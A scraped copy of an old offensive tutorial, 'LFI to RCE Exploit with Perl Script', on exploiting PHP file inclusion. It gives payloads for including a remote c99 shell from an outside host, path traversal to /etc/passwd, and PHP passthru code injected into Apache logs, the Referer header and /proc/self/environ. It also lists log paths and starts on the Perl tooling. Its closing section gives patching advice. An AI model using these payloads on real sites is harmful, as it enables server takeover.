Vulnerability analysis, Security Papers, Exploit Tutorials                                        http://www.exploit-db.com/papers/12992/


                     [End code]------------------------------------------------------------------------------


           ########################################
            [0x05] - How to protect File Inclusion
           ########################################

           - Consider implementing a chroot jail
           - Check user supplied files or filenames
           - Strongly validate user input, Ensure that all variables
             are properly initialized prior to the first use
           - Disable allow_url_fopen and allow_url_include
           - Disable register_globals and use E_STRICT to find uninitialized variables
           - Ensure that all file and stream functions (stream_*) are carefully vetted
           - To avoid being injected with remote files, it is essential to specify exactly
             where the file should be located, e.g. its full path
           - Secure Code, If you want to use include() function, For example:

           // Vulnerable Code !!


           [code]----------------------------------------------------------------------------------
           <?php
           $file =$_GET['page'];
           include($file);
           ?>
           [End code]------------------------------------------------------------------------------


           // #1 Patching Code !!


           [code]----------------------------------------------------------------------------------
           <?php
           include "./new.php";            <-- Should not use file name from $_GET content,
           ?>                                  Always specify your files to include
           [End code]------------------------------------------------------------------------------


           // #2 Patching Code !!


           [code]----------------------------------------------------------------------------------
           <?php
           $file =$_GET['page'];
           $check = array('index.php', 'new.php', 'guestbook.php');
                   if(in_array($file, $check))             <-- Check $_GET['page'] from array[]
                           {include($file);}
                                   else{die("Don't Hack Me Plz!");}
           ?>
           [End code]------------------------------------------------------------------------------


           #####################
            [0x06] - References
           #####################

           [1]   http://en.wikipedia.org/wiki/Remote_File_Inclusion
           [2]   http://cwe.mitre.org/data/definitions/98.html
           [3]   hakin9: Remote and File Inclusion Explained (Gordon Johnson)
           [4]   http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
           [5]   www.owasp.org/index.php/PHP_Top_5
           [6]   www.milw0rm.com

           ####################
            [0x07] - Greetz To
           ####################

           Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
           Special Thx : asylu3, str0ke, citec.us, milw0rm.com

                                           ----------------------------------------------------
                   This paper is written for Educational purpose only. The authors are not responsible for any damage
            originating from using this paper in wrong objective. If you want to use this knowleadge with other person systems,
                                           you must request for consent from system owner before
                                           ----------------------------------------------------

           # milw0rm.com [2008-12-08]

                                                             © Offensive Security 2010




10 of 10                                                                                                                12/24/10 5:45 PM

More Related Content

What's hot (20)

PDF
Hacking routers as Web Hacker
Михаил Фирстов
 
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Ismail Tasdelen
 
PPT
Bypass file upload restrictions
Mukesh k.r
 
PPTX
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
PDF
Secuirty News Bytes-Bangalore may 2014
n|u - The Open Security Community
 
PDF
Lean Php Presentation
Alan Pinstein
 
PPTX
PHP in one presentation
Milad Rahimi
 
PPTX
PHP presentation - Com 585
jstout007
 
PPTX
Php presentation
Helen Pitlick
 
PPTX
Cross interface attack
piyushml20
 
PPS
PHP - History, Introduction, Summary, Extensions and Frameworks
Royston Olivera
 
PDF
php secure
ahmed zaichi
 
PDF
Building websites with TYPO3 Neos
Fedir RYKHTIK
 
PDF
Reversing & malware analysis training part 3 windows pe file format basics
Abdulrahman Bassam
 
PPTX
Php technical presentation
dharmendra kumar dhakar
 
DOCX
Web-servers & Application Hacking
Raghav Bisht
 
Hacking routers as Web Hacker
Михаил Фирстов
 
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Ismail Tasdelen
 
Bypass file upload restrictions
Mukesh k.r
 
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
Secuirty News Bytes-Bangalore may 2014
n|u - The Open Security Community
 
Lean Php Presentation
Alan Pinstein
 
PHP in one presentation
Milad Rahimi
 
PHP presentation - Com 585
jstout007
 
Php presentation
Helen Pitlick
 
Cross interface attack
piyushml20
 
PHP - History, Introduction, Summary, Extensions and Frameworks
Royston Olivera
 
php secure
ahmed zaichi
 
Building websites with TYPO3 Neos
Fedir RYKHTIK
 
Reversing & malware analysis training part 3 windows pe file format basics
Abdulrahman Bassam
 
Php technical presentation
dharmendra kumar dhakar
 
Web-servers & Application Hacking
Raghav Bisht
 

Viewers also liked (20)

PPT
Testcase
Oana Feidi
 
DOC
testeeeestes
Marcelo Cost
 
PDF
Zena cta _ci_30092011
oscargaliza
 
PPTX
Balanced Scorecard and Strategy Execution
Shaji Bhaskaran
 
PPT
Web 2 0
NatkaOA
 
PPT
Linked data et nettverk!
Lene Bertheussen
 
PDF
Mailrouting t shootingfinal
daimar1
 
PDF
Why businesses should talktojason the Leeds public relations and communicatio...
Jason Kelly
 
PDF
Advanced Malware Analysis
Prathan Phongthiproek
 
PPT
Measuring social media
Emerson Povey
 
PPTX
DIY Handout: Victoria L. Martinez
Bobby Raleigh
 
ODP
Es3 Pifferati Valentina
guest48e709
 
DOC
XNA coding series
Uditha Bandara (.NET MVP)
 
PDF
Lua on Steroids
gaetanmorice
 
PDF
Blignaut Visual Span And Other Parameters For The Generation Of Heatmaps
Kalle
 
RTF
Cd covers
Katherine Brittain
 
PPT
What can Leeds-based creative agency, talktojason do for you
Jason Kelly
 
PDF
Tisa social and mobile security
Prathan Phongthiproek
 
PDF
India Horizontal Plant
Vibhanshu Sharma
 
Testcase
Oana Feidi
 
testeeeestes
Marcelo Cost
 
Zena cta _ci_30092011
oscargaliza
 
Balanced Scorecard and Strategy Execution
Shaji Bhaskaran
 
Web 2 0
NatkaOA
 
Linked data et nettverk!
Lene Bertheussen
 
Mailrouting t shootingfinal
daimar1
 
Why businesses should talktojason the Leeds public relations and communicatio...
Jason Kelly
 
Advanced Malware Analysis
Prathan Phongthiproek
 
Measuring social media
Emerson Povey
 
DIY Handout: Victoria L. Martinez
Bobby Raleigh
 
Es3 Pifferati Valentina
guest48e709
 
XNA coding series
Uditha Bandara (.NET MVP)
 
Lua on Steroids
gaetanmorice
 
Blignaut Visual Span And Other Parameters For The Generation Of Heatmaps
Kalle
 
What can Leeds-based creative agency, talktojason do for you
Jason Kelly
 
Tisa social and mobile security
Prathan Phongthiproek
 
India Horizontal Plant
Vibhanshu Sharma
 
Ad

Similar to LFI to RCE Exploit with Perl Script (20)

PDF
Php vulnerability presentation
Sqa Enthusiast
 
PPTX
Secure PHP Coding - Part 1
Vinoth Kumar
 
PDF
File Inclusion.pdf
Okan YILDIZ
 
PPTX
Prevent hacking
Viswanath Polaki
 
PPTX
CodeIgniter i18n Security Flaw
Abbas Naderi
 
PDF
CNIT 129S: 10: Attacking Back-End Components
Sam Bowne
 
PPTX
Fun with exploits old and new
Larry Cashdollar
 
PDF
PHP LFI to Arbitrary Code Execution via rfc1867 file upload temporary files
Attaporn Ninsuwan
 
ODP
How secure is your code?
Mikee Franklin
 
PDF
Teaching Your WAF New Tricks
Robert Rowley
 
PDF
Cyber Kill Chain: Web Application Exploitation
Prathan Phongthiproek
 
PPTX
Hacking Wordpress Plugins
Larry Cashdollar
 
KEY
DVWA BruCON Workshop
testuser1223
 
PPTX
Secure Code Warrior - Local file inclusion
Secure Code Warrior
 
PPTX
Web-App Remote Code Execution Via Scripting Engines
c0c0n - International Cyber Security and Policing Conference
 
PPTX
An introduction to php shells
RichieSM
 
PDF
Remote file path traversal attacks for fun and profit
Dharmalingam Ganesan
 
PDF
Confining the Apache Web Server with Security-Enhanced Linux
webhostingguy
 
PDF
Confining the Apache Web Server with Security-Enhanced Linux
webhostingguy
 
PDF
Web Application Security
Richard Peter Ong
 
Php vulnerability presentation
Sqa Enthusiast
 
Secure PHP Coding - Part 1
Vinoth Kumar
 
File Inclusion.pdf
Okan YILDIZ
 
Prevent hacking
Viswanath Polaki
 
CodeIgniter i18n Security Flaw
Abbas Naderi
 
CNIT 129S: 10: Attacking Back-End Components
Sam Bowne
 
Fun with exploits old and new
Larry Cashdollar
 
PHP LFI to Arbitrary Code Execution via rfc1867 file upload temporary files
Attaporn Ninsuwan
 
How secure is your code?
Mikee Franklin
 
Teaching Your WAF New Tricks
Robert Rowley
 
Cyber Kill Chain: Web Application Exploitation
Prathan Phongthiproek
 
Hacking Wordpress Plugins
Larry Cashdollar
 
DVWA BruCON Workshop
testuser1223
 
Secure Code Warrior - Local file inclusion
Secure Code Warrior
 
Web-App Remote Code Execution Via Scripting Engines
c0c0n - International Cyber Security and Policing Conference
 
An introduction to php shells
RichieSM
 
Remote file path traversal attacks for fun and profit
Dharmalingam Ganesan
 
Confining the Apache Web Server with Security-Enhanced Linux
webhostingguy
 
Confining the Apache Web Server with Security-Enhanced Linux
webhostingguy
 
Web Application Security
Richard Peter Ong
 
Ad

More from Prathan Phongthiproek (20)

PDF
Mobile Defense-in-Dev (Depth)
Prathan Phongthiproek
 
PDF
The CARzyPire - Another Red Team Operation
Prathan Phongthiproek
 
PDF
Mobile App Hacking In A Nutshell
Prathan Phongthiproek
 
PDF
Jump-Start The MASVS
Prathan Phongthiproek
 
PDF
OWASP Mobile Top 10 Deep-Dive
Prathan Phongthiproek
 
PDF
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
 
PDF
Understanding ransomware
Prathan Phongthiproek
 
PDF
OWASP Day - OWASP Day - Lets secure!
Prathan Phongthiproek
 
PDF
Don't Trust, And Verify - Mobile Application Attacks
Prathan Phongthiproek
 
PDF
Owasp Top 10 Mobile Risks
Prathan Phongthiproek
 
PDF
Point-Of-Sale Hacking - 2600Thailand#20
Prathan Phongthiproek
 
PDF
OWASP Thailand-Beyond the Penetration Testing
Prathan Phongthiproek
 
PDF
Mobile Application Pentest [Fast-Track]
Prathan Phongthiproek
 
PPTX
CDIC 2013-Mobile Application Pentest Workshop
Prathan Phongthiproek
 
PDF
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
PDF
Layer8 exploitation: Lock'n Load Target
Prathan Phongthiproek
 
PDF
Tisa mobile forensic
Prathan Phongthiproek
 
PDF
Tisa-Social Network and Mobile Security
Prathan Phongthiproek
 
PDF
Operation outbreak
Prathan Phongthiproek
 
PDF
The Operation CloudBurst Attack
Prathan Phongthiproek
 
Mobile Defense-in-Dev (Depth)
Prathan Phongthiproek
 
The CARzyPire - Another Red Team Operation
Prathan Phongthiproek
 
Mobile App Hacking In A Nutshell
Prathan Phongthiproek
 
Jump-Start The MASVS
Prathan Phongthiproek
 
OWASP Mobile Top 10 Deep-Dive
Prathan Phongthiproek
 
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
 
Understanding ransomware
Prathan Phongthiproek
 
OWASP Day - OWASP Day - Lets secure!
Prathan Phongthiproek
 
Don't Trust, And Verify - Mobile Application Attacks
Prathan Phongthiproek
 
Owasp Top 10 Mobile Risks
Prathan Phongthiproek
 
Point-Of-Sale Hacking - 2600Thailand#20
Prathan Phongthiproek
 
OWASP Thailand-Beyond the Penetration Testing
Prathan Phongthiproek
 
Mobile Application Pentest [Fast-Track]
Prathan Phongthiproek
 
CDIC 2013-Mobile Application Pentest Workshop
Prathan Phongthiproek
 
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
Layer8 exploitation: Lock'n Load Target
Prathan Phongthiproek
 
Tisa mobile forensic
Prathan Phongthiproek
 
Tisa-Social Network and Mobile Security
Prathan Phongthiproek
 
Operation outbreak
Prathan Phongthiproek
 
The Operation CloudBurst Attack
Prathan Phongthiproek
 

LFI to RCE Exploit with Perl Script

  • 1. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ LFI to RCE Exploit with Perl Script |=--------------------------------------------------------------------=| |=-------------=[ LFI to RCE Exploit with Perl Script ]=--------------=| |=------------------------=[ 7 December 2008 ]=-----------------------=| |=----------------------=[ By CWH Underground ]=--------------------=| |=--------------------------------------------------------------------=| ###### Info ###### Title : LFI to RCE Exploit with Perl Script Author : ZeQ3uL && JabAv0C Team : CWH Underground [www.milw0rm.com/author/1456] Website : cwh.citec.us / www.citec.us Date : 2008-12-07 ########## Contents ########## [0x00] - Introduction [0x01] - File Inclusion (RFI/LFI) [0x01a] - How the attack works for Remote File Inclusion [RFI] [0x01b] - How the attack works for Local File Inclusion [LFI] [0x01c] - Vulnerable PHP Function for File Inclusion [0x02] - Local File Inclusion To Remote Command Execution [LFI <> RCE] [0x02a] - LFI <> RCE via Apache Log Injection [0x02b] - LFI <> RCE via Process Environ Injection [0x02c] - LFI <> RCE via Other Files [0x03] - Fundamental of Perl Library for Exploit Website [0x03a] - Introduction to Socket [0x03b] - Introduction to Library for WWW in Perl (LWP) [0x03c] - Condition to use Socket or LWP [0x04] - Writing LFI <> RCE Exploit with Perl Script [0x04a] - Perl Exploit to Injecting code into Target [0x04b] - Perl Exploit to Executing injected code on Target [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection] [0x05] - How to protect File Inclusion [0x06] - References [0x07] - Greetz To ####################### [0x00] - Introduction ####################### Welcome reader, this paper is a short attempt at documenting a practical technique we have been working on. This papers will guide about technique that allows the attackers (us) gaining access into the process of exploiting a website via File Inclusion (RFI/LFI) and enlight the way to create own exploit script with perl This paper is divided into 7 sections but only from section 0x01 to 0x05 are about technical information. Section 0x01, we talk about general concept of attacking via File Inclusion. Section 0x02, we give a detail of how to execute arbitrary command via Local File Inclusion in each approach. Section 0x03, we offer rudimentary commands to create HTTP transaction with perl and some examples of how to use them. Section 0x04, we assemble knowleadge from Section 0x01 to 0x03 in order to create own exploit to execute command on target system via Local File Inclusion. The last, section 0x05, we suggest some methods to protect your system from File Inclusion Attacking. ################################### [0x01] - File Inclusion (RFI/LFI) ################################### In a File Inclusion, Attackers run their own code on a vulnerable website. The attack involves importing code into a program by taking advantage of the unenforced and unchecked assumptions the program makes about its inputs. If the attacker can include their own malicious code on a web page, it is possible to "convince" a PHP script to include a remote file instead of a presumably trusted file from the local file system. 1 of 10 12/24/10 5:45 PM
  • 2. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01a] - How the attack works for Remote File Inclusion [RFI] ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Remote File Inclusion, known as RFI, is the technique to attack website by injecting php script into target website. It's including "External" files (PHP Shell) in a victim website.If attacker exploits successfully, he can execute arbitary command on victim web server. For instance, a piece of vulnerable PHP code would look like this: [code]---------------------------------------------------------------------------------- <?php $file =$_GET['page']; //The page we wish to display include($file .".php"); <-- Vulnerable !! ?> [End code]--------------------------------------------------------------------------------- From Code, It does not perform any checks on the content of the $page variable so it is easy to putting our file (PHP Shell) into webpage like this [URL] http://www.hackme.com/index.php?page=http://www.cwh.org/c99.php? and then [code]--------------------------------------------------------------------------------- <?php $file ="http://www.cwh.org/c99.php?"; //$_GET['page']; include($file .".php"); //include http://www.cwh.org/C99.php?.php ?> [End code]--------------------------------------------------------------------------------- ** We put "?" at the end of the URL, This makes the script fetch the intended file, with the appended string as a parameter (which is ignored by the attackers script) ** +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01b] - How the attack works for Local File Inclusion [LFI] +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LFI is a Local File Inclusion. It originates from including "internal" files in a victim website. In many situations, It is necessary to include content from local file. But if you use it carelessly, it may lead to LFI vulnerabilty. This method is often used in Linux to get "/etc/passwd" and sometimes "/etc/shadow". For instance, a piece of vulnerable PHP code would look like this: [URL] http://www.hackme.com/index.php?template=cwh [code #1]------------------------------------------------------------------------------- <?php $template =$_GET['template']; include("/".$template .".php"); <-- Vulnerable !! ?> [End code]------------------------------------------------------------------------------ From Code, Attacker can assign template to be "../../../../etc/passwd%00". It causes the attacker to read a content from /etc/passwd. [URL] http://www.hackme.com/index.php?template=../../../../etc/passwd%00 [code #1]------------------------------------------------------------------------------- <?php $template =$_GET['template']; include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI ?> [End code]------------------------------------------------------------------------------ ** Notice %00 (Null CHAR) will ignore everything that comes after %00 (.php suffix) ** ** Notice ../../../ will traversal path to root and goto /etc/passwd ** [code #2]------------------------------------------------------------------------------- if(grado($HTTP_COOKIE_VARS['cwh_user'],$HTTP_COOKIE_VARS['cwh_pass']) == "admin") { topmenu(); include("manage/admin/main.php"); foot(); } else { topmenu(); include("manage/".$HTTP_COOKIE_VARS['cwh_user']."/main.php"); foot(); } [End code]------------------------------------------------------------------------------ From Code, Attacker can exploit via JaSiLDBG (Javascript Inline Debugger - www.milw0rm.com/papers/147) PoC Exploit: javascript:document.cookie = "cwh_user=../../../../etc/passwd%00; path=/"; ++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01c] - Vulnerable PHP Function for File Inclusion ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 of 10 12/24/10 5:45 PM
  • 3. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ File Inclusion (RFI/LFI) mostly occurs from some functions that developers do not properly check user supplied data. Example PHP function: include() include_once() require() require_once() fopen() ####################################################################### [0x02] - Local File Inclusion To Remote Command Execution [LFI<>RCE] ####################################################################### In this section, we mention about the concept of using LFI in another way besides reading files. Normally, We use LFI to read following files: /etc/passwd /etc/shadow /etc/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits or Dababase Configuration (config.inc.php) But we can apply LFI Vulnerabilities to execute command by injecting malicious code into Apache log, Process Environment and Other files. This method is called "Remote Code Execution (RCE)" +++++++++++++++++++++++++++++++++++++ [0x02a] - LFI <> RCE via Apache Log +++++++++++++++++++++++++++++++++++++ The Malicious HTTP Request must existed to Apache logs, By their intrinsic nature logfiles contain data that is driven by users look like this: [HTTP Request via Telnet]--------------------------------------------------------------- >telnet www.hackme.com 80 GET /index.php?p=new.php HTTP/1.1 <-- Normally GET Request when user visit websites HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: …… ……… [End Telnet]---------------------------------------------------------------------------- [Logfiles - access.log]----------------------------------------------------------------- ...... 58.18.29.152 - - [05/Dec/2008:12:13:22 +0700] "GET /index.php?p=new.php HTTP/1.1" 200 1958 ...... [End log]------------------------------------------------------------------------------- If we want to run arbitrary command on target system, we must inject PHP code via HTTP request like <?passthru($_GET[cmd])?> After that logfiles will contain Malicious Code [Malicious HTTP Request via Telnet]----------------------------------------------------- >telnet www.hackme.com 80 GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1 <-- Malicious HTTP Request via Telnet ……… ……… [End telnet]---------------------------------------------------------------------------- [Logfiles - access.log]----------------------------------------------------------------- ...... 58.18.29.152 - - [05/Dec/2008:12:14:22 +0700] "GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958 <-- Inject Code into Logfiles ...... [End log]------------------------------------------------------------------------------- Now We can use LFI Vuln to run arbitrary command by finding out where the logs are stored Go to LFI Vuln path: [URL] www.hackme.com/index.php?p=../../apache/logs/access.log <-- You must find Log location (You can see ../../ that traversal to apache access log) In webpage, you will see detailed like this: Warning: passthru() [function.passthru]: Cannot execute a blank command in /opt/lampp/apache/logs/access.log on line 457 That's Great !! We have alredy injected code to logfiles, Now run arbitrary command with "cmd" variable like this: [LFI <> RCE URL] www.hackme.com/index.php?p=../../apache/logs/access.log%00&cmd=ls -la ** Notice ** 3 of 10 12/24/10 5:45 PM
  • 4. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ If you send Malicious HTTP Request from browser "www.hackme.com/cwh/<? passthru($_GET[cmd]) ?>", the logfile will show in URL encode format [Logfiles - access.log]----------------------------------------------------------------- ...... 58.18.29.152 - - [05/Dec/2008:12:15:14 +0700] "GET /cwh/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 200 1958 <-- Not work for Inject ...... [End log]------------------------------------------------------------------------------- It won't work for RCE because browser will automatically encode special characters (URL encode) after that it writes encoded request into logfiles (access.log). So we must Inject malicious code via Telnet, Netcat or Perl script with socket/useragent/referer that we will guide in next chapter. == How about error.log == Error log is written when the requested file does not exist. Thus we can inject malicious code by requesting to non-existed file or inject via "Referer". [Malicious HTTP Request via Telnet]----------------------------------------------------- >telnet www.hackme.com 80 GET /<? passthru($_GET[cmd]) ?> <-- Get non-existed file with PHP Code ……… ……… [End telnet]---------------------------------------------------------------------------- [Logfiles - error.log]------------------------------------------------------------------ ...... [Sat Dec 06 15:12:56 2008] [error] [client 127.0.0.1] (20024)The given path misformatted or contained invalid characters: Cannot map GET /<?passthru($_GET[cmd])?> to file ...... [End log]------------------------------------------------------------------------------- Bingo !! We can injected code thru error.log, Next example show you about inject code into "referer". [Logfiles - error.log]------------------------------------------------------------------ ...... [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120] File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif, referer: http://www.hackme.com/index.php?p=main.php <-- Normally HTTP Request ...... [End log]------------------------------------------------------------------------------- From log, Attacker can inject malicious code into "referer" then error.log will be written evil code. However injecting to access.log is easier than error.log [Logfiles - error.log]------------------------------------------------------------------ ...... [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120] File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif, referer: <? passthru($_GET[cmd]) ?> <-- Inject Malicious Code in Referer ...... [End log]------------------------------------------------------------------------------- Default Log locations list that used with LFI: ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_ log ../../../../../../../usr/local/apache/logs/access. log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_l og ../../../../../../../usr/local/apache/logs/error.l og ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache/error.log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log ++++++++++++++++++++++++++++++++++++++++++ 4 of 10 12/24/10 5:45 PM
  • 5. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ [0x02b] - LFI <> RCE via Process Environ ++++++++++++++++++++++++++++++++++++++++++ When we request to PHP page, new process will be created. In *nix system, Each process has its own /proc entry. /proc/self/ is a static path and symbolic link from lastest process used that contain useful information. If we inject malicious code into /proc/self/environ, we can run arbitrary command from target via LFI [The Question] How to inject code into /proc/self/environ ? [The Answer] We can inject thru User-Agent. In Firefox Browser, we use "User Agent Switcher Add-ons" that can specify your user agent manually Or use perl script to specify user agent with malicious code (See Next chapter). For instance, a piece of /proc/self/environ would look like this: [code]---------------------------------------------------------------------------------- PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin [email protected] ... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300 <-- It contains User-agent ... [End code]------------------------------------------------------------------------------ When we injected <?passthru($_GET[cmd])?> into our User Agent, /proc/self/environ will contain Malicious code like this: [code]---------------------------------------------------------------------------------- PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin [email protected] ... <?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300 <-- Injected Malicious code ... [End code]------------------------------------------------------------------------------ Then Go to www.hackme.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la ** Notice ** We don't recommend to use this method because It's immediately to inject code and run command before self link change to other process. ++++++++++++++++++++++++++++++++++++++ [0x02c] - LFI <> RCE via Other Files ++++++++++++++++++++++++++++++++++++++ We saw Vulnerabilities in old version of FCKEditor (www.milw0rm.com/exploits/1484) that allow many file extension to be uploaded, Some versions we can upload an extension not specified in FCKEditor Config[DeniedExtensions][File] array such as .php3,.aa,.bb,.cwh,.blahblahblah. If the website have vulnerability in Local File Inclusion, we can inject malicious code (<?passthru($_GET[cmd])?>) into uploaded file and use LFI traversal with uploaded file links (/userfiles/upload/shell.cwh) to run arbitrary command. For example: [LFI Vulnerable] www.hackme.com/index.php?p= [Uploaded File] www.hackme.com/userfiles/upload/shell.cwh [LFI <> RCE] www.hackme.com/index.php?p=./userfiles/upload/shell.cwh%00&cmd=ls -la Many website in the world allow to upload image file (jpg/gif/bmp/...) almost websites only check file extension (.jpg/.gif/...) so it's vuln !!. If Attacker inject malicious code into image file (Maybe use edjpgcom to insert PHP code to jpeg file or change extension to image file manually) and upload to target server, Use LFI technique traversal to uploaded file and execution arbitrary command. ** We will guide you about specify file extension with Perl in Next chapter ** ########################################################## [0x03] - Fundamental of Perl Library for Exploit Website ########################################################## In this section, we will talk about fundamental of neccessary perl commands used to send HTTP packet to server. They play a significant role in writing exploit. We recommend you to read this section before step to next section. But if you are familiar with Socket and LWP, you can skip this section. All commands mentioned in this section will be used in next section. ++++++++++++++++++++++++++++++++++ [0x03a] - Introduction to Socket ++++++++++++++++++++++++++++++++++ Socket is method to create a connection between hosts. we use it to create a connection between our pc and a remote server in order to send manipulated request to a server. The informations that we have to provide for a socket are protocol, server address, server port and data. In perl, we use IO::Socket library to create a socket. Syntax for create a socket is following. [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new (PROTOCAL, PEERADDR, PEERPORT); [End code]------------------------------------------------------------------------------ For Example: If we want to create socket to port 80 on server ip 192.168.0.111 with tcp protocol, 5 of 10 12/24/10 5:45 PM
  • 6. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12992/ we can use following command: [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); [End code]------------------------------------------------------------------------------ when we want to send http request through this socket, we can use this syntax. [code]---------------------------------------------------------------------------------- print $socket $data; [End code]------------------------------------------------------------------------------ For Example: [code]---------------------------------------------------------------------------------- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); print $socket "GET /index.php HTTP/1.1rn"; print $socket "Host: 192.168.0.111rn"; print $socket "Connection: closernrn"; [End code]------------------------------------------------------------------------------ After finish using socket, we have to close the socket by this syntax. [code]---------------------------------------------------------------------------------- close ($socket); [End code]------------------------------------------------------------------------------ Finally, we can group the entire code together. [code]---------------------------------------------------------------------------------- use IO::Socket; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80"); print $socket "GET /index.php HTTP/1.1rn"; print $socket "Host: 192.168.0.111rn"; print $socket "Connection: closernrn"; close ($socket); [End code]------------------------------------------------------------------------------ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x03b] - Introduction to Library for WWW in Perl (LWP) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LWP is a set of perl module designed to handle sending of http request. Usually we use this library simultaneously with HTTP::Request and HTTP::Response. If we speak clearly, we can classify a role of these library as following: - HTTP::Request => used to manipulate http request. - LWP::UserAgent => used to sent http request. - HTTP::Response => used to handle http response. If we want to use these libraries to obtain content from index.php file on 192.168.0.111, we can following these steps. 1: Create http request header using HTTP::Request [code]---------------------------------------------------------------------------------- $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php"); $request->header (User_Agent => "Mozilla 2.0"); [End code]------------------------------------------------------------------------------ 2: Send the http request to server by LWP::UserAgent and obtain http response by HTTP::Response [code]---------------------------------------------------------------------------------- $ua = LWP::UserAgent->new(); $response = $ua->request ($request); ## Return value of request function is HTTP::Response object. ## So now we have $response holding HTTP::Response object [End code]------------------------------------------------------------------------------ 3: Get http response content from HTTP::Response object, Ex: [code]---------------------------------------------------------------------------------- print $response->code; ## response code ex. 200, 404, 503 print $response->header->as_string; ## response header print $response->content; ## html code of http response [End code]------------------------------------------------------------------------------ If we group all code together to show header and content of http transaction, we can do following: [code]---------------------------------------------------------------------------------- use LWP; use HTTP::Request; $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php"); $request->header (User_Agent => "Mozilla 2.0"); $ua = LWP::UserAgent->new(); $response = $ua->request ($request); print $response->header->as_string; ## $response->header is an object of HTTP::Header. It cannot to print as string, ## so we use as_string method to solve this problem 6 of 10 12/24/10 5:45 PM
